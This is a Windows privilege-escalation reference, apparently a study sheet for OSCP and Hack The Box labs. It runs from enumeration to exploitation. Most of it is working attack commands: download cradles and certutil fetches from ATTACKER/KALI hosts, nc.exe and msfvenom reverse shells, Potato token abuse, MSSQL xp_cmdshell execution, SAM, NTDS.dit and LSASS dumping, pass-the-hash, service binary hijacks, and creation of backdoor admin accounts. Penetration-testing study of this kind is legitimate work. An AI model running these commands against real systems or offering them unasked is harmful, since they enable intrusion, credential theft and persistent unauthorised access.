Windows Privilege Escalation Reference

Scope: How to go from low-priv user to admin/SYSTEM on the CURRENT machine.


⚠️ CMD vs PowerShell: evil-winrm = PowerShell. psexec/wmiexec/nc.exe = CMD. Most commands below use CMD syntax. If you’re in PowerShell and something breaks:

  • Type cmd.exe to drop into CMD
  • Or replace && with ;, 2>nul with 2>$null, %VAR% with $env:VAR

Quick Reference — Windows Permission Commands (Linux → Windows)

If you know Linux commands but not Windows equivalents, use this table:

What You WantLinuxWindows (CMD)Windows (PowerShell)
Who owns this file?ls -la fileicacls fileGet-Acl file
Who owns this dir?ls -la /diricacls C:\dirGet-Acl C:\dir
Can I write here?echo test >> fileecho test > C:\dir\test.txtSet-Content C:\dir\test.txt "test"
Show hidden filesls -ladir /aGet-ChildItem -Force
Find writable filesfind / -writableicacls C:\path\* /TGet-ChildItem -Recurse then check ACLs
Who runs this process?ps auxtasklist /vGet-WmiObject Win32_Process
What’s running as SYSTEM?ps aux | grep roottasklist /v | findstr SYSTEMsame
Check scheduled taskscat /etc/crontabschtasks /query /fo LIST /vsame

icacls Permission Codes (memorize these)

CodeMeaningExploitable?
(F)Full ControlYES — read, write, delete, change permissions
(M)ModifyYES — read, write, delete
(W)WriteYES — can overwrite file
(R)ReadNo — can only read
(RX)Read + ExecuteNo — can read and run

If you see BUILTIN\Users:(F) or (M) on a binary that runs as SYSTEM → replace it with your payload.



PART 1 — ENUMERATION (RUN ALL OF THESE FIRST)

Methodology: Run through ALL enumeration steps below before attempting any attacks. Collect findings, THEN decide which attack path to pursue. Jumping to attacks too early = tunnel vision = missed privesc.


Enum 1 — Who Am I? (ALWAYS FIRST)

whoami /all

This single command gives you: username, groups, AND token privileges. Read ALL of it.

  • Integrity level → Medium + local admin = UAC bypass candidate

Enum 2 — System Info

hostname
systeminfo
ipconfig /all

Note the OS version, architecture (x64/x86), domain membership, and hotfixes installed.

AppLocker


There are many ways to bypass AppLocker.

If AppLocker is configured with default AppLocker rules, we can bypass it by placing our executable in the following directory: C:\Windows\System32\spool\drivers\color - This is whitelisted by default.

Enum — Running Services, Processes & Ports


tasklist /svc

# What services are running and from where?
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# Running processes with paths
Get-Process | Select ProcessName,Path | Sort-Object Path -Unique

# All listening ports
netstat -ano | findstr LISTENING
	
# Map ALL listening ports to process names (no admin needed)
Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name='Process';Expression={(Get-Process -Id $_.OwningProcess).Name}} | Sort-Object LocalPort
# If Get-NetTCPConnection unavailable — look up individual PIDs:
tasklist /FI "PID eq <PID>"
Get-Process -Id <PID> | Select-Object Name,Path

What to look for:

  • Services running from writable paths or non-default directories
  • Localhost-only services (127.0.0.1) — invisible to external nmap, often run as SYSTEM
  • 0.0.0.0 = listening on ALL interfaces (including localhost). 127.0.0.1 = localhost ONLY
  • Non-standard ports → custom applications worth investigating
  • MySQL (3306), web servers (80/443/8080), databases — check for creds

Enum 4 — Non-Default Directories & Installed Software

dir C:\

Anything that isn’t Windows, Program Files, Users, PerfLogs is placed there intentionally. Check it.

If you find an .exe in a non-default directory, run the full check:

# Step 1 — Can you write to it?
icacls "C:\path\to\binary.exe"
# Look for (F)=Full, (M)=Modify, (W)=Write for your user, Everyone, Users, or Authenticated Users
# If NOT writable → skip, can't exploit

# Step 2 — What runs it? (this is the step people miss)
# Is it a service?
Get-CimInstance -ClassName win32_service | Where-Object {$_.PathName -like '*binary*'} | Select Name,PathName,StartName,State
# Or search by directory:
Get-CimInstance -ClassName win32_service | Where-Object {$_.PathName -like '*DevelopmentExecutables*'} | Select Name,PathName,StartName,State

# Is it a scheduled task?
schtasks /query /fo LIST /v | findstr /i "binary\|path\|Run As\|Task To Run"

# Is it an AutoRun entry?
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run | findstr /i "binary"
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run | findstr /i "binary"

# Is a running process using it right now?
Get-Process | Where-Object {$_.Path -like '*binary*'} | Select Name,Id,Path

# Step 3 — WHO does it run as?
# For services:
sc.exe qc SERVICENAME
# ⚠️ Use the SERVICE NAME not the FILENAME: sc.exe qc auditTracker NOT sc.exe qc auditTracker.exe
# Look for SERVICE_START_NAME: LocalSystem = SYSTEM = exploit it

# For scheduled tasks:
schtasks /query /tn "TASKNAME" /fo LIST /v | findstr /i "Run As"
# Run As User: SYSTEM = exploit it

# Step 4 — If it runs as SYSTEM and you can write to it → replace the binary
dir "C:\Program Files"
	dir "C:\Program Files (x86)"
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Note versions → searchsploit them.

Enum 5 — Password Hunting (PS History, Configs, Known Locations)

Searching for Files

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

Sensitive IIS info such as credentials may live in a web.config file — for the default IIS site that’s C:\inetpub\wwwroot\web.config.

Dictionary Files

Chrome’s custom dictionary can leak words (including passwords) the user typed:

gc 'C:\Users\student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password

PowerShell History File

Since PowerShell 5.0 (Windows 10), command history is saved to C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt:

(Get-PSReadLineOption).HistorySavePath
gc (Get-PSReadLineOption).HistorySavePath
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content

# One-liner to read EVERY user's PowerShell history
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

PowerShell Credentials (Export-Clixml / DPAPI)

A sysadmin script such as Connect-VC.ps1 may store a credential with Export-Clixml. If you run in that user’s context (or can abuse DPAPI), recover the cleartext:

# The stored credential (encrypted with DPAPI, tied to the user)
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password

# Pull username + password out
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
$credential.GetNetworkCredential().username   # -> bob
$credential.GetNetworkCredential().password   # -> Str0ng3ncryptedP@ss!

Transcripts, Known Locations & Registry

# PowerShell transcripts
Get-ChildItem -Path C:\ -Include *transcript* -File -Recurse -ErrorAction SilentlyContinue

# Known credential file locations
Get-Content C:\xampp\htdocs\wp-config.php -EA SilentlyContinue
Get-Content C:\xampp\phpMyAdmin\config.inc.php -EA SilentlyContinue
Get-Content C:\xampp\mysql\bin\my.ini -EA SilentlyContinue
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
Get-Content C:\Windows\Panther\Unattend.xml -EA SilentlyContinue

# Search from a user home (NOT from C:\ — that floods with garbage)
Get-ChildItem -Recurse -Include *.ini,*.cfg,*.xml,*.txt,*.config -EA SilentlyContinue | Select-String "pass" -List | Select Path

# Hidden AppData creds
Get-ChildItem -Path C:\Users\*\AppData -Recurse -Include *.xml,*.config,*.ini,*.txt,*.settings -Force -EA SilentlyContinue | Select-String -Pattern "password|credential|passwd" -List | Select Path

# AutoLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"

# Saved credentials
cmdkey /list

# AutoRun keys (writable binary?)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Enum 6 — Scheduled Tasks

schtasks /query /fo LIST /v | findstr /i "Task To Run" | findstr /i /v "system32"
schtasks /query /fo LIST /v | findstr /i "Run As User" | findstr /i "SYSTEM\|Administrator"

For each interesting task: Who runs it? Is the binary writable? (icacls <path>)

How to RECOGNIZE a scheduled task without confirming it:

  • Script or binary at root level, not in a user dir
  • Name contains schedule, update, backup, task
  • References another users files
  • Run then delete pattern: copy, execute, delete
  • Directory exists but is empty
  • icacls shows Authenticated Users have (M) or (F)

EXPLOIT: PowerShell download cradle reverse shell:

echo IEX(New-Object Net.WebClient).DownloadString('http://KALI:8000/powercat.ps1'); powercat -c KALI -p PORT -e cmd.exe > C:\schedule.ps1

Set up listener and HTTP server serving powercat.ps1. Wait for task.

Enum 7 — Service Binary Permissions

icacls "C:\path\to\service.exe"
accesschk64.exe -uwcv Everyone *

Look for (F), (M), or (W) on binaries that run as SYSTEM.

Enum 8 — Registry Checks

:: AlwaysInstallElevated (both must be 0x1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: SAM/SYSTEM backups
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\SAM

Enum 9 — Interact with Local Services (databases, web servers, etc.)

If you found databases or services in Enum 3, interact with them directly BEFORE tunneling.

MySQL (port 3306) — via evil-winrm (non-interactive):

:: From C:\xampp\mysql\bin or wherever mysql.exe lives
.\mysql.exe -u root --password=""
.\mysql.exe -u root -e "SHOW DATABASES;"
.\mysql.exe -u root -e "SELECT user,host FROM mysql.user;"
.\mysql.exe -u root -e "USE wordpress; SELECT * FROM wp_users;"

XAMPP MySQL often has a blank root password. Always try --password="" first. Evil-WinRM hangs on interactive prompts — always use -e for queries.

MSSQL (port 1433) — from Kali:

# With creds found in config files / web.config
impacket-mssqlclient 'USER:PASS'@TARGET -windows-auth
impacket-mssqlclient 'USER:PASS'@TARGET             # SQL auth fallback
impacket-mssqlclient 'sa:sa'@TARGET                  # try default sa creds
-- Once connected:
SELECT name FROM master..sysdatabases;
USE dbname;
SELECT name FROM sysobjects WHERE xtype='U';
SELECT * FROM users;
-- Try RCE:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

MSSQL — from Windows (if on the target already):

# sqlcmd is often installed on Windows boxes with MSSQL
sqlcmd -S localhost -U sa -P 'password' -Q "SELECT name FROM master..sysdatabases;"
sqlcmd -S localhost -E -Q "SELECT name FROM master..sysdatabases;"    # Windows auth (current user)
sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysdatabases;"  # named instance

⚠️ -Q is MANDATORY in reverse shells / evil-winrm. Without -Q, sqlcmd opens an interactive session that hangs your shell. -Q = run and exit (same as mysql’s -e). ⚠️ -E = Windows auth (uses your current user). If you’re SYSTEM, no password needed.

Named instances — MSSQL is NOT like MySQL: MySQL just runs on a port. MSSQL has named instances — one server can run multiple separate MSSQL instances, each with a different name. The default instance is just localhost. Named instances use localhost\INSTANCENAME.

How to find the instance name:

# Check web.config — connection strings tell you everything
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
# Look for: server=localhost\SQLEXPRESS or Data Source=.\SQLEXPRESS

# Check WinPEAS output for named pipes
# Look for: SQLLocal\SQLEXPRESS → instance is SQLEXPRESS

# Check running processes
Get-Process | Where-Object {$_.Name -like '*sql*'} | Select Name,Id
# MSSQL$SQLEXPRESS in the process list → instance is SQLEXPRESS

# Check services
Get-Service | Where-Object {$_.DisplayName -like '*SQL*'}
# MSSQL$SQLEXPRESS → instance is SQLEXPRESS

Quick reference — sqlcmd vs mysql:

Whatmysqlsqlcmd
Connectmysql -u root -psqlcmd -S ".\SQLEXPRESS" -U sa -P pass
Run query + exitmysql -u root -e "query"sqlcmd -S server -U sa -P pass -Q "query"
Windows authN/Asqlcmd -S server -E
Select databasemysql -u root dbsqlcmd -S server -E -d dbname
Named instanceN/A (just port)-S ".\SQLEXPRESS" or -S "localhost\SQLEXPRESS"

Once connected to MSSQL — what to do (in order):

Step 1 — Enumerate databases:

sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysdatabases;"

Ignore master, tempdb, model, msdb — these are system databases. Everything else is custom and worth investigating.

Step 2 — List tables in each custom database:

sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT name FROM sysobjects WHERE xtype='U';"

Replace DBNAME with what you found in Step 1. Look for tables named users, credentials, accounts, logins, employees, etc.

Step 3 — List columns in interesting tables:

sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='TABLENAME');"

Replace TABLENAME with what you found in Step 2. Look for columns like username, password, email, hash.

Step 4 — Dump the data:

sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT * FROM TABLENAME;"
# Or specific columns:
sqlcmd -S ".\SQLEXPRESS" -E -d DBNAME -Q "SELECT username,password FROM users;"

Every credential found → add to creds table → spray across ALL machines immediately.

Step 5 — xp_cmdshell → RCE (as the SQL service account):

# Enable xp_cmdshell
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;"

⚠️ xp_cmdshell output is BLIND through sqlcmd — you won’t see command output. Confirm RCE with ping:

# Test: does it execute?
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'ping ATTACKER_IP';"
# Listen on Kali: sudo tcpdump -i tun0 icmp — if you see pings, you have RCE

# Check who it runs as
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'whoami > C:\Windows\Temp\whoami.txt';"
type C:\Windows\Temp\whoami.txt
# If different user than you → this is lateral movement or privesc

Get a reverse shell:

# Download nc.exe to target
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'certutil -urlcache -f http://ATTACKER/nc.exe C:\Windows\Temp\nc.exe';"

# Catch on Kali: rlwrap nc -lvnp 443
sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe';"

Or use PowerShell reverse shell (encode with base64 -w 0 on Kali):

sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC xp_cmdshell 'powershell -nop -w hidden -e BASE64_PAYLOAD';"

If xp_cmdshell is denied → SQL user is not sysadmin. Skip to Step 7 (hash stealing).

Step 6 — Read files through MSSQL (if xp_cmdshell fails):

sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\proof.txt', SINGLE_CLOB) AS x;"

Step 7 — Steal hashes (if nothing else works):

sqlcmd -S ".\SQLEXPRESS" -E -Q "EXEC master..xp_dirtree '\\\\ATTACKER_IP\\share';"
# Catch with: sudo responder -I tun0 -A
# Crack: hashcat -m 5600 hash.txt rockyou.txt

Step 8 — Check linked servers (lateral movement to other SQL servers):

sqlcmd -S ".\SQLEXPRESS" -E -Q "SELECT name FROM master..sysservers;"
# If linked servers exist: EXEC('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

This is the same enumeration flow as MySQL, just different syntax:

StepMySQLMSSQL (sqlcmd)
List databasesSHOW DATABASES;SELECT name FROM master..sysdatabases;
List tablesSHOW TABLES;SELECT name FROM sysobjects WHERE xtype='U';
List columnsDESCRIBE tablename;SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='tablename');
Dump dataSELECT * FROM users;SELECT * FROM users; (same)

PostgreSQL (port 5432) — from Kali:

psql -h TARGET -U postgres -W         # prompts for password
psql -h TARGET -U postgres -d dbname   # connect to specific database
-- Once connected:
\l                              -- list databases
\dt                             -- list tables
\du                             -- list users (check for superuser!)
SELECT * FROM users;
-- If superuser → RCE:
COPY (SELECT '') TO PROGRAM 'whoami';

Common default credentials to try:

DBUsernamePassword to try
MySQLroot(blank), root, toor
MSSQLsasa, (blank), Password1
PostgreSQLpostgrespostgres, (blank), admin

For localhost-only web services, tunnel them out:

# Attacker: ./chisel server -p 9999 --reverse
# Target: .\chisel.exe client ATTACKER:9999 R:PORT:127.0.0.1:PORT
# Then browse http://127.0.0.1:PORT on Kali

⚠️ If the service is bound to 127.0.0.1, the chisel forward MUST use 127.0.0.1 — NOT the machine’s external IP.

Enum 10 — Automated Tools (after manual enum)

.\winpeas.exe cmd > winpeas_output.txt

To see output AND save to file at the same time (like Linux tee):

.\winpeas.exe cmd | Tee-Object -FilePath C:\Users\Public\winpeas.txt

⚠️ Tee-Object only works in PowerShell (evil-winrm is fine). Won’t work in basic CMD or nc shells. ⚠️ If WinPEAS hangs in any shell, redirect to file only and read after:

.\winpeas.exe cmd > C:\Users\Public\wp.txt 2>&1
type C:\Users\Public\wp.txt
# Or download from evil-winrm: download C:\Users\Public\wp.txt

powershell -ep bypass “. .\PowerUp.ps1; Invoke-AllChecks”

Run these AFTER manual enumeration  they confirm findings and may catch things you missed.

## Enum 11 — Domain Check

```cmd
systeminfo | findstr /i "domain"
net user /domain

PART 2 — ATTACK TECHNIQUES (Reference by Finding)

Below: detailed exploitation steps organized by what you found during enumeration. Find the attack that matches your enumeration findings.


Attack: Token Privileges

whoami /priv
whoami /all

SeImpersonatePrivilege (most common — IIS/MSSQL service accounts)

OS VersionTool
Server 2016 and olderJuicyPotato
Server 2019+ / Win10 1809+PrintSpoofer
Universal / modernGodPotato or SigmaPotato
PrintSpoofer.exe -i -c cmd
GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
JuicyPotato.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "ATTACKER 443 -e cmd.exe" -t * -c {CLSID}
.\SigmaPotato.exe "net user pwned Password123! /add"
.\SigmaPotato.exe "net localgroup Administrators pwned /add"

Running GodPotato without blocking your shell:

# PowerShell — launches independently, your session stays usable
Start-Process -FilePath ".\GodPotato-NET4.exe" -ArgumentList '-cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"' -WindowStyle Hidden
:: CMD — background execution
start /b .\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"

⚠️ Potato shells are unstable child processes. Once you get SYSTEM, immediately create an admin user:

net user hacker hacker123! /add
net localgroup Administrators hacker /add
net localgroup "Remote Management Users" hacker /add

Then connect properly: evil-winrm -i TARGET -u hacker -p 'hacker123!'

  • Use full absolute paths for everything inside -cmd: C:\Windows\Temp\nc.exe not just nc.exe
  • Use nc.exe reverse shell pattern, not msfvenom .exe (msfvenom exe payloads often die silently)
  • Pattern: GodPotato -cmd "C:\full\path\to\nc.exe ATTACKER PORT -e cmd.exe"
  • Wrap in cmd.exe /c if nc.exe won’t connect: GodPotato -cmd "cmd.exe /c C:\path\nc.exe ATTACKER PORT -e cmd.exe"
  • If reverse shell still fails, redirect output to a file instead:
.\GodPotato-NET4.exe -cmd "cmd.exe /c (whoami & type C:\Users\Administrator\Desktop\proof.txt) > C:\Windows\Temp\out.txt 2>&1"
type C:\Windows\Temp\out.txt
  • Use & not && (& runs all commands, && stops on first failure)
  • Use parentheses to group commands before the > redirect

SeBackupPrivilege → dump SAM/SYSTEM

Allows reading ANY file regardless of permissions. Use it to copy SAM+SYSTEM hives and dump all local hashes. ⚠️ Real-world example: Return (HTB) — svc-printer had SeBackupPrivilege via Server Operators group

# Step 1: Create a temp directory to save the files
mkdir C:\Temp

# Step 2: Save the SAM and SYSTEM registry hives
reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\system

# Step 3: Download both files to Kali via evil-winrm
cd C:\Temp
download sam
download system

On Kali — dump all hashes:

impacket-secretsdump -sam sam -system system LOCAL
# Use the NT hash (second hash after the second colon) for Pass-the-Hash

Pass-the-Hash with the Administrator NTLM hash:

evil-winrm -i <TARGET_IP> -u Administrator -H '<NTLM_HASH>'

Why it works: SeBackupPrivilege bypasses file ACLs — it’s designed for backup software to read protected files. The SAM hive contains local account hashes, SYSTEM contains the boot key needed to decrypt them. Together they give you all local hashes including Administrator.

SeImpersonate (Potato) → SYSTEM → dump SAM+SYSTEM+SECURITY in one shot

# Step 1 — upload GodPotato (your http server already running on KALI:8000)
iwr http://KALI:8000/GodPotato-NET4.exe -OutFile $env:TEMP\g.exe -UseBasicParsing

# Step 2 — single SYSTEM exec: reg save all three + icacls so YOUR user can read
& $env:TEMP\g.exe -cmd "cmd.exe /c reg save HKLM\SAM C:\Users\YOU\Documents\sam.save /y & reg save HKLM\SYSTEM C:\Users\YOU\Documents\system.save /y & reg save HKLM\SECURITY C:\Users\YOU\Documents\security.save /y & icacls C:\Users\YOU\Documents\sam.save /grant Everyone:F & icacls C:\Users\YOU\Documents\system.save /grant Everyone:F & icacls C:\Users\YOU\Documents\security.save /grant Everyone:F"
# Note: icacls is what makes the SYSTEM-owned files readable by your low-priv user afterward

Pull the hives — if you can’t write to C$/ADMIN$ (you’re not local admin yet), use the base64-over-stdout trick through evil-winrm:

# On Kali — one-line PS per hive (use FORWARD SLASHES to dodge bash \U escape hell)
for f in sam system security; do
  echo "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:/Users/YOU/Documents/$f.save'))" | \
    evil-winrm -i IP -u USER -p PASS 2>&1 | \
    grep -E '^[A-Za-z0-9+/]{50,}={0,2}$' | tr -d '\r\n' | base64 -d > $f.save
done

# Then locally:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
Mary.Williams:1002:...:...                                          # other local accounts
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
[*] _SC_wampapache64

⚠️ Forward slashes in PowerShell paths when piping commands through bash → evil-winrm. C:\Users triggers \U interpretation in bash and breaks the command. PowerShell accepts C:/Users/... natively.

SeBackupPrivilege → NTDS.dit (domain hashes — DC ONLY)

NTDS.dit is a live database locked by the DC process. reg save cannot touch it. VSS creates a frozen snapshot where the file is no longer locked. ⚠️ DC only. Gives ALL domain account hashes.

# Must run from a writable directory
cd C:\Temp
echo "set context persistent nowriters" | out-file C:\Windows\Temp\shadow.dsh -encoding ascii
echo "add volume c: alias pwn" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii
echo "create" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii
echo "expose %pwn% z:" | out-file C:\Windows\Temp\shadow.dsh -append -encoding ascii

diskshadow /s C:\Windows\Temp\shadow.dsh
# Z: is now a frozen snapshot of C:

# /b flag = backup mode, bypasses ACLs using SeBackupPrivilege
robocopy /b z:\Windows\NTDS\ C:\Windows\Temp\ ntds.dit
reg save hklm\system C:\Windows\Temp\system

download C:\Windows\Temp\ntds.dit
download C:\Windows\Temp\system
impacket-secretsdump -ntds ntds.dit -system system LOCAL
evil-winrm -i <DC_IP> -u Administrator -H '<NTLM_HASH>'

SAM vs NTDS.dit:

WhatToolWhen
Local hashesreg save hklm\samAny Windows
Domain hashesVSS + robocopy /bDC only

SeRestorePrivilege → overwrite system files or DLLs


Windows Privileged Groups (Check ALONGSIDE Token Privs)

Always run whoami /all not just whoami /priv. Group membership can be MORE valuable than token privileges.

Server Operators → service binary hijack → SYSTEM

Members of Server Operators can start/stop services AND reconfigure service binary paths.

# Step 1: Upload nc.exe (from evil-winrm)
upload /usr/share/windows-binaries/nc.exe
move nc.exe C:\Windows\Temp\nc.exe

# Step 2: Start listener on Kali
nc -lvp 443

# Step 3: Reconfigure a running service to call nc.exe
# Find a running service to hijack (VMTools works on HTB, try others if not)
sc.exe config VMTools binPath="C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER 443"

# Step 4: Restart the service
sc.exe stop VMTools
sc.exe start VMTools
# Note: sc start will "fail" with a timeout error — this is normal.
# The service starts nc.exe, nc.exe connects back, service manager times out.
# Your listener catches the SYSTEM shell.

Which service to hijack? Any service you can stop AND start. Try:

# List services you can control:
services.msc       # GUI (if RDP)
sc.exe query type= all state= running
# VMTools is commonly available on HTB/PG. Otherwise try any non-critical running service.

Why it gives SYSTEM: Services run under LocalSystem by default. When you reconfigure the binary path and restart, Windows executes your binary AS the service’s user account (SYSTEM).


Backup Operators → dump SAM/SYSTEM → PtH

Same effect as SeBackupPrivilege (Backup Operators members automatically get it). Follow the SeBackupPrivilege steps above.


DnsAdmins → DLL injection into DNS service → SYSTEM

DnsAdmins members can configure the DNS server to load a plugin DLL. DNS runs as SYSTEM.

# Step 1: Generate malicious DLL on Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll

# Step 2: Host via SMB server
impacket-smbserver share . -smb2support

# Step 3: From Windows shell, configure DNS to load your DLL
dnscmd.exe /config /serverlevelplugindll \\\\ATTACKER\\share\\evil.dll

# Step 4: Start listener + restart DNS service
nc -lvp 443
sc.exe stop dns
sc.exe start dns

Account Operators → modify non-admin accounts → lateral movement

Account Operators can create/modify most user accounts and add them to non-privileged groups.

# Create a new user
net user attacker P@ss123! /add
# Add to a group you want to be in (can't add to Domain Admins or Administrators directly)
net localgroup "Remote Management Users" attacker /add

Print Operators get SeLoadDriverPrivilege which allows loading kernel drivers. Complex attack involving loading a vulnerable driver then exploiting it. Rarely seen on OSCP boxes — check HackTricks if encountered.


Remote Management Users

Directly allows WinRM (port 5985) access:

evil-winrm -i TARGET -u USER -p PASS

Group Membership Quick Reference

GroupWhat It EnablesQuick Win
Server OperatorsStop/start/reconfigure servicessc.exe config → SYSTEM
Backup OperatorsRead any file (SeBackupPrivilege)reg save SAM → secretsdump
DnsAdminsLoad DLL into DNS service (SYSTEM)dnscmd → SYSTEM
Account OperatorsCreate/modify non-admin accountsAdd self to groups
Print OperatorsLoad kernel driversComplex — see HackTricks
Remote Management UsersWinRM accessevil-winrm shell
BUILTIN\AdministratorsLocal adminDump SAM, run as admin
Domain AdminsDA — game overDCSync, PtH anywhere

SeDebugPrivilege → dump LSASS

procdump.exe -ma lsass.exe lsass.dmp
# On Kali: pypykatz lsa minidump lsass.dmp

SeTakeOwnershipPrivilege

If the privilege is disabled, enable it first:

Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1

Taking Ownership of the File

takeown /f 'C:\Department Shares\Private\IT\cred.txt'
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "SRV01\student".

Confirming Ownership Changed

Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
Name     Directory                       Owner
----     ---------                       -----
cred.txt C:\Department Shares\Private\IT SRV01\student

Modifying the File ACL

We may still not be able to read the file, so modify the file ACL with icacls to grant our user full privileges over the target file:

icacls 'C:\Department Shares\Private\IT\cred.txt' /grant student:F

When to Use?

Files of Interest

Some local files of interest may include:

c:\inetpub\wwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

Check 2 — WinPEAS and PowerUp

.\winpeas.exe cmd | Tee-Object -FilePath C:\Users\Public\winpeas.txt
# If hangs: .\winpeas.exe cmd > C:\Users\Public\wp.txt 2>&1
powershell -ep bypass ". .\PowerUp.ps1; Invoke-AllChecks"

PowerUp targeted functions (when Invoke-AllChecks is too noisy):

# Import first
powershell -ep bypass
. .\PowerUp.ps1

# Service binary hijacking — finds services where current user can modify the binary
Get-ModifiableServiceFile

# Unquoted service paths — finds unquoted paths with spaces
Get-UnquotedService

# Exploit unquoted path (creates user john / Password123! by default)
Write-ServiceBinary -Name '<svc>' -Path "C:\Program Files\Vuln App\Current.exe"
Restart-Service <svc>

# Weak service DACLs — finds services current user can reconfigure
Get-ModifiableService

⚠️ PowerUp’s Install-ServiceBinary can fail silently if the service binary path has arguments containing paths (e.g. --defaults-file=C:\path). If AbuseFunction errors out, do the binary replacement manually.


Check 3 — Service Misconfigurations

Payload for service/DLL/scheduled task hijacks

// adduser.c — creates admin user when executed as SYSTEM
#include <stdlib.h>
int main() {
    system("net user pwned Password123! /add");
    system("net localgroup administrators pwned /add");
    return 0;
}
# Cross-compile on Kali
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe          # 64-bit EXE
x86_64-w64-mingw32-gcc adduser.cpp --shared -o evil.dll   # 64-bit DLL

⚠️ If you can’t net stop/net start the service: shutdown /r /t 0 (requires SeShutdownPrivilege). Service set to Auto will restart after reboot.

Unquoted Service Paths

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\"\""

If found: Windows tries each prefix + .exe left-to-right; first match wins. Filename must match the next component before the space (not free-choice). Path C:\Program Files\My App\service.exe → drop C:\Program.exe OR C:\Program Files\My.exe. Need write access to that directory.

Writable Service Binaries

icacls "C:\path\o\service.exe"
accesschk64.exe -uwcv Everyone *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *

If writable:

sc config <vuln_svc> binpath= "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
sc stop <vuln_svc>
sc start <vuln_svc>

Weak Service DACLs

accesschk64.exe -uwcqv <username> *
# If SERVICE_CHANGE_CONFIG on any service:
sc config <svc> binpath= "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"

Check 4 — Saved Credentials and AutoLogon

cmdkey /list
# If entries exist:
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"

# AutoLogon in registry
